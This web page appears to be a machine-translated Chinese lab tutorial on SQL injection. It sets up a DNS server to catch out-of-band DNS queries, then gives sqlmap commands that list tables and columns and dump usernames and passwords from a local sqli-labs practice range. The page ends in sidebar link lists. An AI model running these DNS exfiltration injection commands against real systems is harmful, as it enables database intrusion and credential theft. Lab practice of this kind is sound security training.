当前位置:网站首页>sqlmap combined with dnslog fast injection
sqlmap combined with dnslog fast injection
2022-08-10 23:49:00 【hug kitten】
How to use sqlmap combined with dnslog to inject quickly
First we need three virtual machines, one Windows10 as the client, Windows server2008 as the server, and one kali.
The first step: first download the phpstudy skin panel on Windows10, then download the sqli-labs shooting range, and put the sqli-labs shooting range file into the WWW directory
Step 2: Modify the database configuration file and add secure_file_priv="" to the my.ini of the database to facilitate reading the file later
Step 3: Set up a DNS server on Windows server 2008
Click Role-->Add Role-->Click Server Role-->Select DNS Server-->Next-->Install
Right click to view the properties of WIN-JGVPSZCQ80R-->Monitor-->Tick the two test types-->OK
New area: Right-click New-->Next-->Customize an area name-->Next-->Finish
Create a new host ns1.ceshi.top, so fill in the IP address of the kali virtual machine
Create another pan-parse:
Step 4: Configure the IP of the DNS server on Windows 10
Step 5: Use the domain name created in Windows10ping DNS and view it in kali
Step 6: Create a repeater in Windows server2008
Use the domain name of the Windows10 ping forwarder and view it in kali
Step 7: sqlmap uses DNSlog out-of-band injection
We use sqlmap to find the table name in the database
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D security --tables
Find the columns in the table according to the users table name
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security"-t "users" --columns
Retrieve data from users table
sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security"-t "users" -C "username,password" --dump
边栏推荐
猜你喜欢
16. 文件上传
C语言篇,操作符之 移位运算符(>>、<<)详解
iNFTnews | Web3时代,用户将拥有数据自主权
How to recover data from accidentally deleted U disk, how to recover deleted data from U disk
Unity--URP渲染管线实战教程系列之URP摄像机核心机制剖析
Kioptrix Level 1 靶机wp
SQL injection base - order by injection, limit, wide byte
Kubernetes 计算CPU 使用率
阿里P7晒出1月工资单:狠补了这个,真香...
工作记录:DB2查询数据,当字段为空时,赋值
随机推荐
HFCTF 2021 Internal System writeup
点云中的一些名词解释
闭包详解,柯里化的含义及操作方法
Deep Learning Transformer Architecture Analysis
从Todolist入门Svelte框架
缓存知识总结
[C language] First understanding of pointers
回收站的文件删了怎么恢复,回收站文件恢复的两种方法
2.0966 铝青铜板CuAl10Ni5Fe4铜棒
Geogebra 教程之 03 没有铅笔的数学
Three-column layout implementation
HGAME 2022 Week1 writeup
App 启动速度优化系列:如何用一个placeholderUI来做初始化工作
Summary of Confused Knowledge Points for "High Items" in the Soft Examination in the Second Half of 2022 (2)
特殊类与类型转换
Geogebra 教程之 01 什么是Geogebra,真的可以提高我们数学水平么?
线程相关知识点
【C语言】初识指针
虎符CTF 2022 Quest-Crash Writeup
定时器,同步API和异步API,文件系统模块,文件流